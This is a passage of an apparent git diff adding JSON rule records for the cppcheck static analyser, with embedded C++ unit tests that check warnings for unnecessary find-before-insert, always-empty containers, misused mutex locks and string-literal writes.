v.emplace_back(std::make_unique()) };\\n\"\n \" r->i = 1;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void findInsert() {\n check(\"void f1(std::set& s, unsigned x) {\\n\"\n \" if (s.find(x) == s.end()) {\\n\"\n \" s.insert(x);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:18]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void f2(std::map& m, unsigned x) {\\n\"\n \" if (m.find(x) == m.end()) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" } else {\\n\"\n \" m[x] = 1;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:22]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void f3(std::map& m, unsigned x) {\\n\"\n \" if (m.count(x) == 0) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:22]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void f4(std::set& s, unsigned x) {\\n\"\n \" if (s.find(x) == s.end()) {\\n\"\n \" s.insert(x);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:18]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void f5(std::map& m, unsigned x) {\\n\"\n \" if (m.count(x) == 0) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" } else {\\n\"\n \" m[x] = 1;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:22]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void f6(std::map& m, unsigned x) {\\n\"\n \" if (m.count(x) == 0) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:22]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void f1(std::unordered_set& s, unsigned x) {\\n\"\n \" if (s.find(x) == s.end()) {\\n\"\n \" s.insert(x);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:18]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void f2(std::unordered_map& m, unsigned x) {\\n\"\n \" if (m.find(x) == m.end()) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" } else {\\n\"\n \" m[x] = 1;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:22]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void f3(std::unordered_map& m, unsigned x) {\\n\"\n \" if (m.count(x) == 0) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:22]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void f4(std::unordered_set& s, unsigned x) {\\n\"\n \" if (s.find(x) == s.end()) {\\n\"\n \" s.insert(x);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:18]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void f5(std::unordered_map& m, unsigned x) {\\n\"\n \" if (m.count(x) == 0) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" } else {\\n\"\n \" m[x] = 1;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:22]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void f6(std::unordered_map& m, unsigned x) {\\n\"\n \" if (m.count(x) == 0) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:22]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void g1(std::map& m, unsigned x) {\\n\"\n \" if (m.find(x) == m.end()) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" } else {\\n\"\n \" m[x] = 2;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g1(std::map& m, unsigned x) {\\n\"\n \" if (m.count(x) == 0) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" } else {\\n\"\n \" m[x] = 2;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f1(QSet& s, unsigned x) {\\n\"\n \" if (s.find(x) == s.end()) {\\n\"\n \" s.insert(x);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f1(std::multiset& s, unsigned x) {\\n\"\n \" if (s.find(x) == s.end()) {\\n\"\n \" s.insert(x);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f2(std::multimap& m, unsigned x) {\\n\"\n \" if (m.find(x) == m.end()) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" } else {\\n\"\n \" m[x] = 1;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f3(std::multimap& m, unsigned x) {\\n\"\n \" if (m.count(x) == 0) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f4(std::multiset& s, unsigned x) {\\n\"\n \" if (s.find(x) == s.end()) {\\n\"\n \" s.insert(x);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f5(std::multimap& m, unsigned x) {\\n\"\n \" if (m.count(x) == 0) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" } else {\\n\"\n \" m[x] = 1;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f1(std::unordered_multiset& s, unsigned x) {\\n\"\n \" if (s.find(x) == s.end()) {\\n\"\n \" s.insert(x);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f2(std::unordered_multimap& m, unsigned x) {\\n\"\n \" if (m.find(x) == m.end()) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" } else {\\n\"\n \" m[x] = 1;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f3(std::unordered_multimap& m, unsigned x) {\\n\"\n \" if (m.count(x) == 0) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f4(std::unordered_multiset& s, unsigned x) {\\n\"\n \" if (s.find(x) == s.end()) {\\n\"\n \" s.insert(x);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f5(std::unordered_multimap& m, unsigned x) {\\n\"\n \" if (m.count(x) == 0) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" } else {\\n\"\n \" m[x] = 1;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9218 - not small type => do not warn if cpp standard is < c++17\n {\n const char code[] = \"void f1(std::set& s, const LargeType& x) {\\n\"\n \" if (s.find(x) == s.end()) {\\n\"\n \" s.insert(x);\\n\"\n \" }\\n\"\n \"}\\n\";\n check(code, dinit(CheckOptions, $.inconclusive = true, $.cppstandard = Standards::CPP11));\n ASSERT_EQUALS(\"\", errout_str());\n check(code, dinit(CheckOptions, $.inconclusive = true, $.cppstandard = Standards::CPP14));\n ASSERT_EQUALS(\"\", errout_str());\n check(code, dinit(CheckOptions, $.inconclusive = true, $.cppstandard = Standards::CPP17));\n ASSERT_EQUALS(\"[test.cpp:3:18]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n }\n\n { // #10558\n check(\"void foo() {\\n\"\n \" std::map x;\\n\"\n \" int data = 0;\\n\"\n \" for(int i=0; i<10; ++i) {\\n\"\n \" data += 123;\\n\"\n \" if(x.find(5) == x.end())\\n\"\n \" x[5] = data;\\n\"\n \" }\\n\"\n \"}\", dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" std::map x;\\n\"\n \" int data = 0;\\n\"\n \" for(int i=0; i<10; ++i) {\\n\"\n \" data += 123;\\n\"\n \" if(x.find(5) == x.end())\\n\"\n \" x[5] = data;\\n\"\n \" }\\n\"\n \"}\", dinit(CheckOptions, $.cppstandard = Standards::CPP11));\n ASSERT_EQUALS(\"[test.cpp:7:17]: (performance) Searching before insertion is not necessary. Instead of 'x[5]=data' consider using 'x.emplace(5, data);'. [stlFindInsert]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" std::map x;\\n\"\n \" int data = 0;\\n\"\n \" for(int i=0; i<10; ++i) {\\n\"\n \" data += 123;\\n\"\n \" if(x.find(5) == x.end())\\n\"\n \" x[5] = data;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:17]: (performance) Searching before insertion is not necessary. Instead of 'x[5]=data' consider using 'x.try_emplace(5, data);'. [stlFindInsert]\\n\", errout_str());\n }\n }\n\n void checkKnownEmptyContainer() {\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" for(auto x:v) {}\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:16]: (style) Iterating over container 'v' that is always empty. [knownEmptyContainer]\\n\", errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" v.clear();\\n\"\n \" for(auto x:v) {}\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:16]: (style) Iterating over container 'v' that is always empty. [knownEmptyContainer]\\n\", errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" if (!v.empty()) { return; }\\n\"\n \" for(auto x:v) {}\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:16]: (style) Iterating over container 'v' that is always empty. [knownEmptyContainer]\\n\", errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" if (v.empty()) { return; }\\n\"\n \" for(auto x:v) {}\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" std::sort(v.begin(), v.end());\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:22]: (style) Using sort with iterator 'v.begin()' that is always empty. [knownEmptyContainer]\\n\", errout_str());\n\n check(\"void f() {\\n\" // #1201\n \" std::vector v1{ 0, 1 };\\n\"\n \" std::vector v2;\\n\"\n \" std::copy(v1.begin(), v1.end(), v2.begin());\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:45]: (style) Using copy with iterator 'v2.begin()' that is always empty. [knownEmptyContainer]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" v.insert(v.end(), 1);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" explicit A(std::vector*);\\n\"\n \"};\\n\"\n \"A f() {\\n\"\n \" std::vector v;\\n\"\n \" A a(&v);\\n\"\n \" for(auto&& x:v) {}\\n\"\n \" return a;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"static void f1(std::list& parameters) {\\n\"\n \" parameters.push_back(a);\\n\"\n \"}\\n\"\n \"int f2(std::list& parameters) {\\n\"\n \" f1(parameters);\\n\"\n \"}\\n\"\n \"void f3() {\\n\"\n \" std::list parameters;\\n\"\n \" int res = ::f2(parameters);\\n\"\n \" for (auto param : parameters) {}\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"namespace ns {\\n\"\n \" using ArrayType = std::vector;\\n\"\n \"}\\n\"\n \"using namespace ns;\\n\"\n \"static void f() {\\n\"\n \" const ArrayType arr;\\n\"\n \" for (const auto &a : arr) {}\\n\"\n \"}\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:7:26]: (style) Iterating over container 'arr' that is always empty. [knownEmptyContainer]\\n\", errout_str());\n\n check(\"struct S {\\n\"\n \" std::vector v;\\n\"\n \"};\\n\"\n \"void foo(S& s) {\\n\"\n \" s.v.clear();\\n\"\n \" bar(s);\\n\"\n \" std::sort(s.v.begin(), s.v.end());\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::vector& v, int e) {\\n\"\n \" if (!v.empty()) {\\n\"\n \" if (e < 0 || true) {\\n\"\n \" if (e < 0)\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" for (auto i : v) {}\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" auto& rv = v;\\n\"\n \" rv.push_back(42);\\n\"\n \" for (auto i : v) {}\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"extern void f(std::string&&);\\n\"\n \"static void func() {\\n\"\n \" std::string s;\\n\"\n \" const std::string& s_ref = s;\\n\"\n \" f(std::move(s));\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #12757\n \" template\\n\"\n \" void clear() {}\\n\"\n \" template\\n\"\n \" std::vector get() const { return {}; }\\n\"\n \" std::vector m;\\n\"\n \"};\\n\"\n \"template<> void S::clear() { m.clear(); }\\n\"\n \"template<> std::vector S::get() const {\\n\"\n \" for (const auto& i : m) {}\\n\"\n \" return {};\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b) {\\n\" // #13121\n \" static std::string s = {};\\n\"\n \" for (auto c : s) {}\\n\"\n \" if (b)\\n\"\n \" s += \\'a\\';\\n\"\n \"}\\n\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector::iterator it) {\\n\" // #13727\n \" std::vector v;\\n\"\n \" v.insert::iterator>(v.end(), it, it + 1);\\n\"\n \" for (auto i : v) {}\\n\"\n \"}\\n\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkMutexes() {\n check(\"void f() {\\n\"\n \" static std::mutex m;\\n\"\n \" static std::lock_guard g(m);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:40]: (warning) Lock guard is defined globally. Lock guards are intended to be local. A global lock guard could lead to a deadlock since it won't unlock until the end of the program. [globalLockGuard]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" static std::mutex m;\\n\"\n \" std::lock_guard g(m);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" static std::mutex m;\\n\"\n \" static std::unique_lock g(m, std::defer_lock);\\n\"\n \" static std::lock(g);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:41]: (warning) Lock guard is defined globally. Lock guards are intended to be local. A global lock guard could lead to a deadlock since it won't unlock until the end of the program. [globalLockGuard]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" static std::mutex m;\\n\"\n \" std::unique_lock g(m, std::defer_lock);\\n\"\n \" std::lock(g);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::mutex m;\\n\"\n \" std::lock_guard g(m);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:33]: (warning) The lock is ineffective because the mutex is locked at the same scope as the mutex itself. [localMutex]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::mutex m;\\n\"\n \" std::unique_lock g(m);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:34]: (warning) The lock is ineffective because the mutex is locked at the same scope as the mutex itself. [localMutex]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::mutex m;\\n\"\n \" std::unique_lock g(m, std::defer_lock);\\n\"\n \" std::lock(g);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:34]: (warning) The lock is ineffective because the mutex is locked at the same scope as the mutex itself. [localMutex]\\n\", errout_str());\n\n check(\"void g();\\n\"\n \"void f() {\\n\"\n \" static std::mutex m;\\n\"\n \" m.lock();\\n\"\n \" g();\\n\"\n \" m.unlock();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g();\\n\"\n \"void f() {\\n\"\n \" std::mutex m;\\n\"\n \" m.lock();\\n\"\n \" g();\\n\"\n \" m.unlock();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:5]: (warning) The lock is ineffective because the mutex is locked at the same scope as the mutex itself. [localMutex]\\n\", errout_str());\n\n check(\"class A {\\n\"\n \" std::mutex m;\\n\"\n \" void f() {\\n\"\n \" std::lock_guard g(m);\\n\"\n \" }\\n\"\n \"};\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class A {\\n\"\n \" std::mutex m;\\n\"\n \" void g();\\n\"\n \" void f() {\\n\"\n \" m.lock();\\n\"\n \" g();\\n\"\n \" m.unlock();\\n\"\n \" }\\n\"\n \"};\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class A {\\n\"\n \" std::mutex m;\\n\"\n \" void f() {\\n\"\n \" static std::lock_guard g(m);\\n\"\n \" }\\n\"\n \"};\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:44]: (warning) Lock guard is defined globally. Lock guards are intended to be local. A global lock guard could lead to a deadlock since it won't unlock until the end of the program. [globalLockGuard]\\n\", errout_str());\n\n check(\"std::mutex& h();\\n\"\n \"void f() {\\n\"\n \" auto& m = h();\\n\"\n \" std::lock_guard g(m);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g();\\n\"\n \"std::mutex& h();\\n\"\n \"void f() {\\n\"\n \" auto& m = h();\\n\"\n \" m.lock();\\n\"\n \" g();\\n\"\n \" m.unlock();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::mutex& h();\\n\"\n \"void f() {\\n\"\n \" auto m = h();\\n\"\n \" std::lock_guard g(m);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:33]: (warning) The lock is ineffective because the mutex is locked at the same scope as the mutex itself. [localMutex]\\n\", errout_str());\n\n check(\"void g();\\n\"\n \"std::mutex& h();\\n\"\n \"void f() {\\n\"\n \" auto m = h();\\n\"\n \" m.lock();\\n\"\n \" g();\\n\"\n \" m.unlock();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:5:5]: (warning) The lock is ineffective because the mutex is locked at the same scope as the mutex itself. [localMutex]\\n\", errout_str());\n\n check(\"void foo();\\n\"\n \"void bar();\\n\"\n \"void f() {\\n\"\n \" std::mutex m;\\n\"\n \" std::thread t([&m](){\\n\"\n \" m.lock();\\n\"\n \" foo();\\n\"\n \" m.unlock();\\n\"\n \" });\\n\"\n \" m.lock();\\n\"\n \" bar();\\n\"\n \" m.unlock();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo();\\n\"\n \"void bar();\\n\"\n \"void f() {\\n\"\n \" std::mutex m;\\n\"\n \" std::thread t([&m](){\\n\"\n \" std::unique_lock g{m};\\n\"\n \" foo();\\n\"\n \" });\\n\"\n \" std::unique_lock g{m};\\n\"\n \" bar();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() { int f = 0; auto g(f); g = g; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct foobar {\\n\"\n \" int foo;\\n\"\n \" std::shared_mutex foo_mtx;\\n\"\n \" int bar;\\n\"\n \" std::shared_mutex bar_mtx;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" foobar xyz;\\n\"\n \" {\\n\"\n \" std::shared_lock shared_foo_lock(xyz.foo_mtx, std::defer_lock);\\n\"\n \" std::shared_lock shared_bar_lock(xyz.bar_mtx, std::defer_lock);\\n\"\n \" std::scoped_lock shared_multi_lock(shared_foo_lock, shared_bar_lock);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n};\n\nREGISTER_TEST(TestStl)\n" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckString/checkAlwaysTrueOrFalseStringCompare.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckString/checkAlwaysTrueOrFalseStringCompare.json new file mode 100644 index 0000000..e58d7fb --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckString/checkAlwaysTrueOrFalseStringCompare.json @@ -0,0 +1,13 @@ +{ + "name": "checkAlwaysTrueOrFalseStringCompare", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 40, + "branches": 16, + "apis": 56, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckString/checkIncorrectStringCompare.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckString/checkIncorrectStringCompare.json new file mode 100644 index 0000000..c808b08 --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckString/checkIncorrectStringCompare.json @@ -0,0 +1,22 @@ +{ + "name": "checkIncorrectStringCompare", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 43, + "branches": 16, + "apis": 69, + "test": [ + { + "description": null, + "expected-problems": 1, + "expected-linenumbers": [ + 644 + ], + "code": "\n/*\n * Cppcheck - A tool for static C/C++ code analysis\n * Copyright (C) 2007-2025 Cppcheck team.\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program. If not, see .\n */\n\n\n#include \"checkstring.h\"\n#include \"errortypes.h\"\n#include \"helpers.h\"\n#include \"settings.h\"\n#include \"fixture.h\"\n\n#include \n\nclass TestString : public TestFixture {\npublic:\n TestString() : TestFixture(\"TestString\") {}\n\nprivate:\n const Settings settings = settingsBuilder().severity(Severity::warning).severity(Severity::style).build();\n\n void run() override {\n mNewTemplate = true;\n TEST_CASE(stringLiteralWrite);\n\n TEST_CASE(alwaysTrueFalseStringCompare);\n TEST_CASE(suspiciousStringCompare);\n TEST_CASE(suspiciousStringCompare_char);\n\n TEST_CASE(strPlusChar1); // \"/usr\" + '/'\n TEST_CASE(strPlusChar2); // \"/usr\" + ch\n TEST_CASE(strPlusChar3); // ok: path + \"/sub\" + '/'\n TEST_CASE(strPlusChar4); // L\"/usr\" + L'/'\n\n TEST_CASE(snprintf1); // Dangerous usage of snprintf\n TEST_CASE(sprintf1); // Dangerous usage of sprintf\n TEST_CASE(sprintf2);\n TEST_CASE(sprintf3);\n TEST_CASE(sprintf4); // struct member\n TEST_CASE(sprintf5); // another struct member\n TEST_CASE(sprintf6); // (char*)\n TEST_CASE(sprintf7); // (char*)(void*)\n TEST_CASE(wsprintf1); // Dangerous usage of wsprintf\n\n TEST_CASE(incorrectStringCompare);\n\n TEST_CASE(deadStrcmp);\n }\n\n struct CheckOptions\n {\n CheckOptions() = default;\n bool cpp = true;\n };\n\n#define check(...) check_(__FILE__, __LINE__, __VA_ARGS__)\n void check_(const char* file, int line, const char code[], const CheckOptions& options = make_default_obj()) {\n SimpleTokenizer2 tokenizer(settings, *this, code, options.cpp ? \"test.cpp\" : \"test.c\");\n\n // Tokenize..\n ASSERT_LOC(tokenizer.simplifyTokens1(\"\"), file, line);\n\n // Check char variable usage..\n runChecks(tokenizer, this);\n }\n\n void stringLiteralWrite() {\n check(\"void f() {\\n\"\n \" char *abc = \\\"abc\\\";\\n\"\n \" abc[0] = 'a';\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:3] -> [test.cpp:2:15]: (error) Modifying string literal \\\"abc\\\" directly or indirectly is undefined behaviour. [stringLiteralWrite]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" char *abc = \\\"abc\\\";\\n\"\n \" *abc = 'a';\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:4] -> [test.cpp:2:15]: (error) Modifying string literal \\\"abc\\\" directly or indirectly is undefined behaviour. [stringLiteralWrite]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" char *abc = \\\"A very long string literal\\\";\\n\"\n \" abc[0] = 'a';\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:3] -> [test.cpp:2:15]: (error) Modifying string literal \\\"A very long stri..\\\" directly or indirectly is undefined behaviour. [stringLiteralWrite]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" QString abc = \\\"abc\\\";\\n\"\n \" abc[0] = 'a';\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo_FP1(char *p) {\\n\"\n \" p[1] = 'B';\\n\"\n \"}\\n\"\n \"void foo_FP2(void) {\\n\"\n \" char* s = \\\"Y\\\";\\n\"\n \" foo_FP1(s);\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:3] -> [test.cpp:5:13]: (error) Modifying string literal \\\"Y\\\" directly or indirectly is undefined behaviour. [stringLiteralWrite]\\n\",\n errout_str());\n\n check(\"void foo_FP1(char *p) {\\n\"\n \" p[1] = 'B';\\n\"\n \"}\\n\"\n \"void foo_FP2(void) {\\n\"\n \" char s[10] = \\\"Y\\\";\\n\"\n \" foo_FP1(s);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" wchar_t *abc = L\\\"abc\\\";\\n\"\n \" abc[0] = u'a';\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:3] -> [test.cpp:2:18]: (error) Modifying string literal L\\\"abc\\\" directly or indirectly is undefined behaviour. [stringLiteralWrite]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" char16_t *abc = 